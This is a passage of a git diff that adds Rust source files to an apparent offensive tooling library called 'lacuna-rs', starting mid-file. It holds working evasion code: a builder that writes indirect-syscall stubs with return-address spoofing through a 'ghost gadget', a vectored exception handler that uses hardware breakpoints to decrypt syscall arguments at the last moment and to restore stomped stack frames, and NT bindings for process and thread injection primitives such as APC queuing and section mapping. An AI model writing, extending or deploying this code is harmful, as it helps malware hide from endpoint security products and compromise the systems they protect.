G_GHOST_MOD: core::sync::atomic::AtomicU8 = + core::sync::atomic::AtomicU8::new(0); + +pub fn make_stub(ssn: DWORD, func_sr: ULONG64) -> Option { + let mut code: [u8; 80] = [0; 80]; + let mut off = 0usize; + + let ghost_gadget = G_GHOST_GADGET.load(core::sync::atomic::Ordering::Relaxed); + + if ghost_gadget != 0 && func_sr != 0 { + // ── Ghost-gadget path ─────────────────────────────────────────── + emit(&mut code, &mut off, &[0x48, 0x89, 0x5C, 0x24, 0x08]); // mov [rsp+8], rbx + emit(&mut code, &mut off, &[0x4C, 0x8B, 0xD1]); // mov r10, rcx + code[off] = 0xB8; off += 1; // mov eax, imm32 + code[off..off + 4].copy_from_slice(&ssn.to_ne_bytes()); off += 4; + emit(&mut code, &mut off, &[0x48, 0x8D, 0x1D]); // lea rbx, [rip+disp32] + let lea_rbx = off; off += 4; + emit(&mut code, &mut off, &[0x4C, 0x8B, 0x1C, 0x24]); // mov r11, [rsp] + emit(&mut code, &mut off, &[0x4C, 0x89, 0x5C, 0x24, 0x10]); // mov [rsp+16], r11 + emit(&mut code, &mut off, &[0x4C, 0x8D, 0x1D]); // lea r11, [rip+disp32] + let lea_r11 = off; off += 4; + emit(&mut code, &mut off, &[0x4C, 0x89, 0x1C, 0x24]); // mov [rsp], r11 + emit(&mut code, &mut off, &[0xFF, 0x25]); // jmp [rip+disp32] + let jmp_disp = off; off += 4; + let epilogue = off; + emit(&mut code, &mut off, &[0x48, 0x8B, 0x1C, 0x24]); // mov rbx, [rsp] + emit(&mut code, &mut off, &[0xFF, 0x64, 0x24, 0x08]); // jmp [rsp+8] + let ghost_data = off; + code[off..off + 8].copy_from_slice(&ghost_gadget.to_ne_bytes()); off += 8; + let sr_data = off; + code[off..off + 8].copy_from_slice(&func_sr.to_ne_bytes()); off += 8; + patch_disp(&mut code, lea_rbx, sr_data); + patch_disp(&mut code, lea_r11, epilogue); + patch_disp(&mut code, jmp_disp, ghost_data); + } else { + // ── Direct path (simple jmp [func_sr]) ───────────────────────── + emit(&mut code, &mut off, &[0x4C, 0x8B, 0xD1]); // mov r10, rcx + code[off] = 0xB8; off += 1; // mov eax, imm32 + code[off..off + 4].copy_from_slice(&ssn.to_ne_bytes()); off += 4; + + if func_sr != 0 { + emit(&mut code, &mut off, &[0xFF, 0x25]); // jmp [rip+0] + code[off..off + 4].copy_from_slice(&0i32.to_ne_bytes()); off += 4; + code[off..off + 8].copy_from_slice(&func_sr.to_ne_bytes()); off += 8; + } else { + emit(&mut code, &mut off, &[0x0F, 0x05, 0xC3]); // syscall; ret + } + } + + let m = unsafe { + win::VirtualAlloc( + ptr::null_mut(), + 0x1000, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ) + }; + if m.is_null() { + return None; + } + unsafe { + ptr::copy_nonoverlapping(code.as_ptr(), m as *mut u8, off); + let mut old: ULONG = 0; + win::VirtualProtect(m, 0x1000, PAGE_EXECUTE_READ, &mut old); + } + Some(Stub { code: m }) +} + +#[inline] +fn emit(code: &mut [u8; 80], off: &mut usize, bytes: &[u8]) { + let n = bytes.len(); + code[*off..*off + n].copy_from_slice(bytes); + *off += n; +} + +#[inline] +fn patch_disp(code: &mut [u8; 80], disp_off: usize, target: usize) { + let disp = (target as i64 - (disp_off as i64 + 4)) as i32; + code[disp_off..disp_off + 4].copy_from_slice(&disp.to_ne_bytes()); +} \ No newline at end of file diff --git a/src/veh.rs b/src/veh.rs new file mode 100644 index 0000000..cd0dab4 --- /dev/null +++ b/src/veh.rs @@ -0,0 +1,250 @@ +// +// veh.rs — Vectored Exception Handler + hardware-breakpoint parameter +// encryption for lacuna-rs +// +// The VEH fires on DR0 (set on syscall;ret). It decrypts params only. +// Return-address spoofing is handled by the stub's epilogue. +// No DR1, no full_spoof, no [RSP] modification. +// + +#![cfg(feature = "veh")] +#![allow(dead_code)] + +use crate::win::{ + LONG, PVOID, + CONTEXT, EXCEPTION_POINTERS, + EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, + EXCEPTION_SINGLE_STEP, CONTEXT_DEBUG_REGISTERS, + CURRENT_THREAD, AddVectoredExceptionHandler, RemoveVectoredExceptionHandler, + GetThreadContext, SetThreadContext, +}; +use core::sync::atomic::{AtomicBool, AtomicU64, AtomicUsize, Ordering}; +use crate::win::ULONG64; + +pub struct ParamCryptCtx { + pub key: AtomicU64, + pub armed: AtomicBool, + pub full_spoof: AtomicBool, +} + +pub static G_PCRYPT: ParamCryptCtx = ParamCryptCtx { + key: AtomicU64::new(0), + armed: AtomicBool::new(false), + full_spoof: AtomicBool::new(false), +}; + +/// Runtime verbose flag — set via `set_verbose(true)` to enable VEH +/// diagnostic output (stack dumps, register prints). Off by default. +pub static G_VERBOSE: AtomicBool = AtomicBool::new(false); + +/// Enable or disable verbose VEH diagnostics at runtime. +pub fn set_verbose(on: bool) { + G_VERBOSE.store(on, Ordering::Relaxed); +} + +pub static G_RET_GADGET: AtomicU64 = AtomicU64::new(0); +pub static G_REAL_RET: AtomicU64 = AtomicU64::new(0); + +pub const MAX_SPOOF: usize = 16; +pub static G_SAVED_SLOTS: [AtomicU64; MAX_SPOOF] = [ + AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), + AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), + AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), + AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), +]; +pub static G_SAVED_IDX: [AtomicUsize; MAX_SPOOF] = [ + AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), + AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), + AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), + AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), +]; +pub static G_N_SPOOFED: AtomicUsize = AtomicUsize::new(0); +pub static G_SPOOF_RSP: AtomicU64 = AtomicU64::new(0); +pub static G_EXE_BASE: AtomicU64 = AtomicU64::new(0); +pub static G_EXE_END: AtomicU64 = AtomicU64::new(0); + +pub const STOMP_DEPTH: usize = 4; +pub static G_STOMP_SLOTS: [AtomicU64; STOMP_DEPTH] = [ + AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), +]; +pub static G_STOMP_PTRS: [AtomicU64; STOMP_DEPTH] = [ + AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), +]; +pub static G_STOMP_SAVED: AtomicU64 = AtomicU64::new(0); +pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0); + +#[cfg(not(feature = "stack-spoof"))] +fn ghost_layers() -> [ULONG64; 4] { [0; 4] } + +#[cfg(feature = "stack-spoof")] +fn ghost_layers() -> [ULONG64; 4] { crate::chain::ghost_layers() } + +pub unsafe fn dump_stack_frame(ctx: &CONTEXT, label: &str) { + if !G_VERBOSE.load(Ordering::Relaxed) { return; } + let rsp = ctx.Rsp as *const u64; + let exe_base = G_EXE_BASE.load(Ordering::Relaxed); + let exe_end = G_EXE_END.load(Ordering::Relaxed); + let gh = ghost_layers(); + eprintln!(); + eprintln!(" +-- {} ---", label); + eprintln!(" | RIP = {:#018x} RSP = {:#018x}", ctx.Rip, ctx.Rsp); + eprintln!(" | RCX = {:#018x} R10 = {:#018x}", ctx.Rcx, ctx.R10); + eprintln!(" | RDX = {:#018x} R8 = {:#018x}", ctx.Rdx, ctx.R8); + eprintln!(" | R9 = {:#018x} RBX = {:#018x}", ctx.R9, ctx.Rbx); + eprintln!(" | DR0 = {:#018x} DR1 = {:#018x}", ctx.Dr0, ctx.Dr1); + eprintln!(" | DR6 = {:#018x} DR7 = {:#018x}", ctx.Dr6, ctx.Dr7); + eprintln!(" |"); + eprintln!(" | exe range: {:#018x}-{:#018x}", exe_base, exe_end); + if gh.iter().all(|&g| g != 0) { + eprintln!(" | ghost layers: L1={:#018x} L2={:#018x} L3={:#018x} L4={:#018x}", + gh[0], gh[1], gh[2], gh[3]); + } else { + eprintln!(" | ghost layers: (not set)"); + } + eprintln!(" |"); + eprintln!(" | stack dump (RSP-relative):"); + for i in -2isize..16isize { + let val = *rsp.offset(i); + let note: &str = if i == 0 { "<= [RSP]" } + else if val == 0 { "(null)" } + else if val >= exe_base && val < exe_end { "EXE" } + else { "" }; + eprintln!(" | [{:+4}] {:#018x} {}", i, val, note); + } + eprintln!(" +{}+", "-".repeat(40)); + eprintln!(); +} + +pub extern "system" fn param_encrypt_veh(ep: *mut EXCEPTION_POINTERS) -> LONG { + unsafe { + let rec = &*(*ep).ExceptionRecord; + if rec.ExceptionCode != EXCEPTION_SINGLE_STEP as i32 { + return EXCEPTION_CONTINUE_SEARCH; + } + let ctx = &mut *(*ep).ContextRecord; + if ctx.Dr6 & 0x1 == 0 || !G_PCRYPT.armed.load(Ordering::Relaxed) { + return EXCEPTION_CONTINUE_SEARCH; + } + let key = G_PCRYPT.key.load(Ordering::Relaxed); + let verbose = G_VERBOSE.load(Ordering::Relaxed); + if verbose { + eprintln!("{}{:#x}", lc!("[veh] DR0 hit -- at syscall;ret key="), key); + } + dump_stack_frame(ctx, "DR0: pre-syscall decrypt"); + if key != 0 { + ctx.Rcx ^= key; + ctx.R10 ^= key; + ctx.Rdx ^= key; + ctx.R8 ^= key; + ctx.R9 ^= key; + if verbose { + eprintln!("{}RCX={:#018x} R10={:#018x} RDX={:#018x} R8={:#018x} R9={:#018x}", + lc!("[veh] decrypted: "), + ctx.Rcx, ctx.R10, ctx.Rdx, ctx.R8, ctx.R9); + } + } + ctx.Dr0 = 0; + ctx.Dr7 &= !0x1; + ctx.Dr6 = 0; + G_PCRYPT.armed.store(false, Ordering::Relaxed); + if verbose { + eprintln!("{}", lc!("[veh] DR0 cleared, continuing")); + } + EXCEPTION_CONTINUE_EXECUTION + } +} + +pub extern "system" fn chain_veh(ep: *mut EXCEPTION_POINTERS) -> LONG { + unsafe { + let ctx = &mut *(*ep).ContextRecord; + let ip = ctx.Rip; + let gh = ghost_layers(); + let in_chain = gh.iter().any(|&g| ip >= g.saturating_sub(16) && ip <= g + 16); + if in_chain { + if G_VERBOSE.load(Ordering::Relaxed) { + eprintln!("{}{:#018x}{}", lc!("[veh] chain_veh: RIP "), ip, lc!(" inside ghost frame")); + } + #[cfg(feature = "stack-spoof")] + { crate::chain::stomp_restore(); } + ctx.Rsp = G_SAVE_RSP.load(Ordering::Relaxed); + ctx.Rip = G_STOMP_SAVED.load(Ordering::Relaxed); + return EXCEPTION_CONTINUE_EXECUTION; + } + EXCEPTION_CONTINUE_SEARCH + } +} + +pub fn pcrypt_arm(key: u64, syscall_ret_addr: u64, full: bool) { + if syscall_ret_addr == 0 { return; } + G_PCRYPT.key.store(key, Ordering::Relaxed); + G_PCRYPT.armed.store(true, Ordering::Relaxed); + G_PCRYPT.full_spoof.store(full, Ordering::Relaxed); + unsafe { + let mut ctx: CONTEXT = core::mem::zeroed(); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + GetThreadContext(CURRENT_THREAD, &mut ctx); + ctx.Dr0 = syscall_ret_addr; + ctx.Dr7 = (ctx.Dr7 & !0xF) | 0x1; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + SetThreadContext(CURRENT_THREAD, &mut ctx); + } +} + +pub fn pcrypt_disarm() { + G_PCRYPT.armed.store(false, Ordering::Relaxed); + unsafe { + let mut ctx: CONTEXT = core::mem::zeroed(); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + GetThreadContext(CURRENT_THREAD, &mut ctx); + ctx.Dr0 = 0; + ctx.Dr1 = 0; + ctx.Dr7 &= !0x5; + ctx.Dr6 = 0; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + SetThreadContext(CURRENT_THREAD, &mut ctx); + } +} + +pub struct PcryptVehGuard { handle: PVOID } +impl PcryptVehGuard { + pub fn register() -> Option { + unsafe { + let h = AddVectoredExceptionHandler(1, param_encrypt_veh); + if h.is_null() { return None; } + Some(PcryptVehGuard { handle: h }) + } + } +} +impl Drop for PcryptVehGuard { + fn drop(&mut self) { + if !self.handle.is_null() { unsafe { RemoveVectoredExceptionHandler(self.handle); } } + } +} + +pub struct ChainVehGuard { handle: PVOID } +impl ChainVehGuard { + pub fn register() -> Option { + unsafe { + let h = AddVectoredExceptionHandler(1, chain_veh); + if h.is_null() { return None; } + Some(ChainVehGuard { handle: h }) + } + } +} +impl Drop for ChainVehGuard { + fn drop(&mut self) { + if !self.handle.is_null() { unsafe { RemoveVectoredExceptionHandler(self.handle); } } + } +} + +pub struct VehGuard { + pcrypt: Option, + chain: Option, +} +impl VehGuard { + pub fn register() -> Option { + let pcrypt = PcryptVehGuard::register()?; + Some(VehGuard { pcrypt: Some(pcrypt), chain: None }) + } + pub fn register_chain(&mut self) { self.chain = ChainVehGuard::register(); } +} \ No newline at end of file diff --git a/src/win.rs b/src/win.rs new file mode 100644 index 0000000..2d21c94 --- /dev/null +++ b/src/win.rs @@ -0,0 +1,452 @@ +// +// win.rs — minimal Win32/NT FFI bindings for lacuna-rs +// +// We deliberately avoid pulling in the `windows`/`windows-sys` crates so the +// crate stays self-contained and compiles under `no_std` (alloc only). Only +// the prototypes actually used by the ported C code are declared here. +// +// Ported from lacuna_chain.c (typedefs at top of file). +// + +#![allow(non_camel_case_types, non_snake_case, dead_code)] + +use core::ffi::c_void; + +// ── Primitive aliases ──────────────────────────────────────────────────────── + +pub type HANDLE = *mut c_void; +pub type HMODULE = *mut c_void; +pub type NTSTATUS = i32; +pub type ACCESS_MASK = u32; +pub type ULONG_PTR = usize; +pub type SIZE_T = usize; +pub type DWORD = u32; +pub type WORD = u16; +pub type BYTE = u8; +pub type ULONG64 = u64; +pub type DWORD64 = u64; +pub type LONG = i32; +pub type WCHAR = u16; +pub type BOOLEAN = u8; +pub type LARGE_INTEGER = i64; +pub type PSTR = *mut u8; + +pub const NULL: HANDLE = core::ptr::null_mut(); + +// ── NT success ─────────────────────────────────────────────────────────────── + +#[inline] +pub fn nt_ok(s: NTSTATUS) -> bool { + s >= 0 +} + +// ── CLIENT_ID / OBJECT_ATTRIBUTES ──────────────────────────────────────────── + +#[repr(C)] +#[derive(Clone, Copy, Default)] +pub struct CLIENT_ID { + pub UniqueProcess: HANDLE, + pub UniqueThread: HANDLE, +} + +// Minimal OBJECT_ATTRIBUTES — we only ever zero-init it. +#[repr(C)] +pub struct OBJECT_ATTRIBUTES { + pub Length: ULONG, + pub RootDirectory: HANDLE, + pub ObjectName: *mut c_void, // PUNICODE_STRING — we always pass NULL + pub Attributes: ULONG, + pub SecurityDescriptor: *mut c_void, + pub SecurityQualityOfService: *mut c_void, +} + +impl Default for OBJECT_ATTRIBUTES { + fn default() -> Self { + Self { + Length: core::mem::size_of::() as ULONG, + RootDirectory: core::ptr::null_mut(), + ObjectName: core::ptr::null_mut(), + Attributes: 0, + SecurityDescriptor: core::ptr::null_mut(), + SecurityQualityOfService: core::ptr::null_mut(), + } + } +} + +pub type CID = CLIENT_ID; + +// ── NT function pointer typedefs ───────────────────────────────────────────── + +pub type PNtOpenProcess = extern "system" fn( + PHANDLE, + ACCESS_MASK, + *mut OBJECT_ATTRIBUTES, + *mut CLIENT_ID, +) -> NTSTATUS; + +pub type PNtDelayExecution = extern "system" fn(BOOLEAN, *mut LARGE_INTEGER) -> NTSTATUS; +pub type PNtClose = extern "system" fn(HANDLE) -> NTSTATUS; + +pub type PNtOpenThread = extern "system" fn( + PHANDLE, + ACCESS_MASK, + *mut OBJECT_ATTRIBUTES, + *mut CLIENT_ID, +) -> NTSTATUS; + +pub type PNtQueueApcThread = extern "system" fn( + HANDLE, + PVOID, + PVOID, + PVOID, + PVOID, +) -> NTSTATUS; + +pub type PNtAlertThread = extern "system" fn(HANDLE) -> NTSTATUS; + +pub type PNtCreateSection = extern "system" fn( + PHANDLE, + ACCESS_MASK, + *mut OBJECT_ATTRIBUTES, + *mut LARGE_INTEGER, + ULONG, + ULONG, + HANDLE, +) -> NTSTATUS; + +pub type PNtMapViewOfSection = extern "system" fn( + HANDLE, + HANDLE, + *mut PVOID, + ULONG_PTR, + SIZE_T, + *mut LARGE_INTEGER, + *mut SIZE_T, + ULONG, + ULONG, + ULONG, +) -> NTSTATUS; + +pub type PNtUnmapViewOfSection = extern "system" fn(HANDLE, PVOID) -> NTSTATUS; + +pub type PNtProtectVirtualMemory = extern "system" fn( + HANDLE, + *mut PVOID, + *mut SIZE_T, + ULONG, + *mut ULONG, +) -> NTSTATUS; + +pub type PNtQueryInformationThread = extern "system" fn( + ThreadHandle: HANDLE, + ThreadInformationClass: ULONG, + ThreadInformation: PVOID, + ThreadInformationLength: ULONG, + ReturnLength: *mut ULONG, +) -> NTSTATUS; + +// ── Unwind APIs (used by verify) ───────────────────────────────────────────── + +#[repr(C)] +pub struct RUNTIME_FUNCTION { + pub BeginAddress: DWORD, + pub EndAddress: DWORD, + pub UnwindData: DWORD, +} + +pub type PRUNTIME_FUNCTION = *mut RUNTIME_FUNCTION; + +#[repr(C)] +pub struct UNWIND_HISTORY_TABLE_ENTRY { + pub ImageBase: DWORD64, + pub FunctionEntry: PRUNTIME_FUNCTION, +} + +#[repr(C)] +pub struct UNWIND_HISTORY_TABLE { + pub Count: ULONG, + pub LocalHint: BYTE, + pub GlobalHint: BYTE, + pub Search: BYTE, + pub Once: BYTE, + pub LowAddress: DWORD64, + pub HighAddress: DWORD64, + pub Entry: [UNWIND_HISTORY_TABLE_ENTRY; 12], +} + +pub type PRtlLookupFunctionEntry = extern "system" fn( + ControlPc: DWORD64, + ImageBase: *mut DWORD64, + HistoryTable: *mut UNWIND_HISTORY_TABLE, +) -> PRUNTIME_FUNCTION; + +// RtlVirtualUnwind is variadic-ish in the SDK; we declare a concrete signature. +pub type PRtlVirtualUnwind = extern "system" fn( + HandlerType: ULONG, + ImageBase: DWORD64, + ControlPc: DWORD64, + FunctionEntry: PRUNTIME_FUNCTION, + ContextRecord: *mut CONTEXT, + HandlerData: *mut PVOID, + EstablisherFrame: *mut DWORD64, + ContextPointers: PVOID, +); + +// ── CONTEXT (x64) ──────────────────────────────────────────────────────────── + +pub const CONTEXT_AMD64: DWORD = 0x0010_0000; +pub const CONTEXT_CONTROL: DWORD = CONTEXT_AMD64 | 0x0001; +pub const CONTEXT_INTEGER: DWORD = CONTEXT_AMD64 | 0x0002; +pub const CONTEXT_SEGMENTS: DWORD = CONTEXT_AMD64 | 0x0004; +pub const CONTEXT_FLOATING_POINT: DWORD = CONTEXT_AMD64 | 0x0008; +pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x0010; +pub const CONTEXT_FULL: DWORD = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS; + +#[repr(C, align(16))] +pub struct M128A { + pub Low: u64, + pub High: i64, +} + +#[repr(C, align(16))] +pub struct CONTEXT { + pub P1Home: DWORD64, + pub P2Home: DWORD64, + pub P3Home: DWORD64, + pub P4Home: DWORD64, + pub P5Home: DWORD64, + pub P6Home: DWORD64, + pub ContextFlags: DWORD, + pub MxCsr: DWORD, + pub SegCs: WORD, + pub SegDs: WORD, + pub SegEs: WORD, + pub SegFs: WORD, + pub SegGs: WORD, + pub SegSs: WORD, + pub EFlags: DWORD, + pub Dr0: DWORD64, + pub Dr1: DWORD64, + pub Dr2: DWORD64, + pub Dr3: DWORD64, + pub Dr6: DWORD64, + pub Dr7: DWORD64, + pub Rax: DWORD64, + pub Rcx: DWORD64, + pub Rdx: DWORD64, + pub Rbx: DWORD64, + pub Rsp: DWORD64, + pub Rbp: DWORD64, + pub Rsi: DWORD64, + pub Rdi: DWORD64, + pub R8: DWORD64, + pub R9: DWORD64, + pub R10: DWORD64, + pub R11: DWORD64, + pub R12: DWORD64, + pub R13: DWORD64, + pub R14: DWORD64, + pub R15: DWORD64, + pub Rip: DWORD64, + pub FltSave: [u8; 512], + pub VectorRegister: [M128A; 26], + pub VectorControl: DWORD64, + pub DebugControl: DWORD64, + pub LastBranchToRip: DWORD64, + pub LastBranchFromRip: DWORD64, + pub LastExceptionToRip: DWORD64, + pub LastExceptionFromRip: DWORD64, +} + +impl Default for CONTEXT { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +// ── EXCEPTION_RECORD / VEH ─────────────────────────────────────────────────── + +pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1; +pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0; + +pub const EXCEPTION_SINGLE_STEP: DWORD = 0x8000_0004; + +#[repr(C)] +pub struct EXCEPTION_RECORD { + pub ExceptionCode: LONG, + pub ExceptionFlags: DWORD, + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ExceptionAddress: PVOID, + pub NumberParameters: DWORD, + pub ExceptionInformation: [ULONG_PTR; 15], +} + +#[repr(C)] +pub struct EXCEPTION_POINTERS { + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ContextRecord: *mut CONTEXT, +} + +pub type PVECTORED_EXCEPTION_HANDLER = + extern "system" fn(*mut EXCEPTION_POINTERS) -> LONG; + +// ── Memory protection / allocation constants ───────────────────────────────── + +pub type PVOID = *mut c_void; +pub type PHANDLE = *mut HANDLE; +pub type PULONG = *mut ULONG; +pub type ULONG = u32; +pub type PSIZE_T = *mut SIZE_T; +pub type PLARGE_INTEGER = *mut LARGE_INTEGER; + +pub const MEM_COMMIT: DWORD = 0x0000_1000; +pub const MEM_RESERVE: DWORD = 0x0000_2000; +pub const MEM_RELEASE: DWORD = 0x0000_8000; + +pub const PAGE_NOACCESS: DWORD = 0x01; +pub const PAGE_READONLY: DWORD = 0x02; +pub const PAGE_READWRITE: DWORD = 0x04; +pub const PAGE_EXECUTE: DWORD = 0x10; +pub const PAGE_EXECUTE_READ: DWORD = 0x20; +pub const PAGE_EXECUTE_READWRITE: DWORD = 0x40; + +pub const ViewUnmap: ULONG = 2; +pub const ViewShare: ULONG = 1; + +pub const SECTION_ALL_ACCESS: ACCESS_MASK = 0x000F_001F; + +pub const SEC_COMMIT: ULONG = 0x800_0000; + +pub const THREAD_SET_CONTEXT: ACCESS_MASK = 0x0010; +pub const THREAD_ALERT: ACCESS_MASK = 0x0004; +pub const THREAD_QUERY_INFORMATION: ACCESS_MASK = 0x0040; + +pub const PROCESS_VM_OPERATION: ACCESS_MASK = 0x0008; +pub const PROCESS_VM_READ: ACCESS_MASK = 0x0010; +pub const PROCESS_VM_WRITE: ACCESS_MASK = 0x0020; +pub const PROCESS_QUERY_INFORMATION: ACCESS_MASK = 0x0400; + +// ── Toolhelp32 ─────────────────────────────────────────────────────────────── + +pub const TH32CS_SNAPTHREAD: DWORD = 0x0000_0004; +pub const INVALID_HANDLE_VALUE: HANDLE = -1isize as HANDLE; + +// ── Thread information classes (for NtQueryInformationThread) ───────────────── + +pub const ThreadBasicInformation: ULONG = 0; +pub const ThreadTimes: ULONG = 1; +pub const ThreadCycleTime: ULONG = 23; +pub const ThreadSuspendCount: ULONG = 35; + +pub type KAFFINITY = ULONG_PTR; + +#[repr(C)] +#[derive(Clone, Copy, Default)] +pub struct KERNEL_USER_TIMES { + pub CreateTime: DWORD64, + pub ExitTime: DWORD64, + pub KernelTime: DWORD64, + pub UserTime: DWORD64, +} + +#[repr(C)] +#[derive(Clone, Copy, Default)] +pub struct THREAD_CYCLE_TIME_INFORMATION { + pub AccumulatedCycles: DWORD64, +} + +#[repr(C)] +#[derive(Clone, Copy, Default)] +pub struct THREAD_BASIC_INFORMATION { + pub ExitStatus: NTSTATUS, + pub TebBaseAddress: PVOID, + pub ClientId: CLIENT_ID, + pub AffinityMask: KAFFINITY, + pub Priority: LONG, + pub BasePriority: LONG, +} + +#[repr(C)] +pub struct THREADENTRY32 { + pub dwSize: DWORD, + pub cntUsage: DWORD, + pub th32ThreadID: DWORD, + pub th32OwnerProcessID: DWORD, + pub tpBasePri: LONG, + pub tpDeltaPri: LONG, + pub dwFlags: DWORD, +} + +// ── extern "system" kernel32/ntdll imports ─────────────────────────────────── + +type FARPROC = extern "system" fn() -> isize; + +#[link(name = "kernel32")] +extern "system" { + pub fn GetModuleHandleA(lpModuleName: *const u8) -> HMODULE; + pub fn GetModuleHandleW(lpModuleName: *const u16) -> HMODULE; + pub fn LoadLibraryA(lpLibFileName: *const u8) -> HMODULE; + pub fn GetProcAddress(hModule: HMODULE, lpProcName: *const u8) -> Option; + pub fn VirtualAlloc( + lpAddress: PVOID, + dwSize: SIZE_T, + flAllocationType: DWORD, + flProtect: DWORD, + ) -> PVOID; + pub fn VirtualFree(lpAddress: PVOID, dwSize: SIZE_T, dwFreeType: DWORD) -> BOOL; + pub fn VirtualProtect( + lpAddress: PVOID, + dwSize: SIZE_T, + flNewProtect: DWORD, + lpflOldProtect: *mut DWORD, + ) -> BOOL; + pub fn CloseHandle(hObject: HANDLE) -> BOOL; + pub fn CreateToolhelp32Snapshot( + dwFlags: DWORD, + th32ProcessID: DWORD, + ) -> HANDLE; + pub fn Thread32First(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL; + pub fn Thread32Next(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL; + pub fn OpenThread( + dwDesiredAccess: DWORD, + bInheritHandle: BOOL, + dwThreadId: DWORD, + ) -> HANDLE; + pub fn GetCurrentThread() -> HANDLE; + pub fn GetCurrentProcess() -> HANDLE; + pub fn GetThreadContext(hThread: HANDLE, lpContext: *mut CONTEXT) -> BOOL; + pub fn SetThreadContext(hThread: HANDLE, lpContext: *mut CONTEXT) -> BOOL; + pub fn AddVectoredExceptionHandler( + First: ULONG, + Handler: PVECTORED_EXCEPTION_HANDLER, + ) -> PVOID; + pub fn RemoveVectoredExceptionHandler(Handle: PVOID) -> ULONG; + pub fn GetLastError() -> DWORD; + pub fn SetConsoleOutputCP(wCodePageID: UINT) -> BOOL; +} + +#[link(name = "ntdll")] +extern "system" { + pub fn NtDelayExecution(Alertable: BOOLEAN, DelayInterval: *mut LARGE_INTEGER) -> NTSTATUS; +} + +// ── Convenience helpers ────────────────────────────────────────────────────── + +pub type BOOL = i32; +pub type UINT = u32; + +/// Get a module handle by ASCII name (e.g. b"ntdll.dll\0"). +pub fn get_module(name: &[u8]) -> HMODULE { + unsafe { GetModuleHandleA(name.as_ptr()) } +} + +/// Resolve an export by name from a loaded module. +pub fn get_proc(h: HMODULE, name: &[u8]) -> Option<*mut c_void> { + unsafe { + GetProcAddress(h, name.as_ptr()).map(|f| f as *mut c_void) + } +} + +/// Current pseudo-handle (-2 == current thread, -1 == current process). +pub const CURRENT_THREAD: HANDLE = -2isize as HANDLE; +pub const CURRENT_PROCESS: HANDLE = -1isize as HANDLE; \ No newline at end of file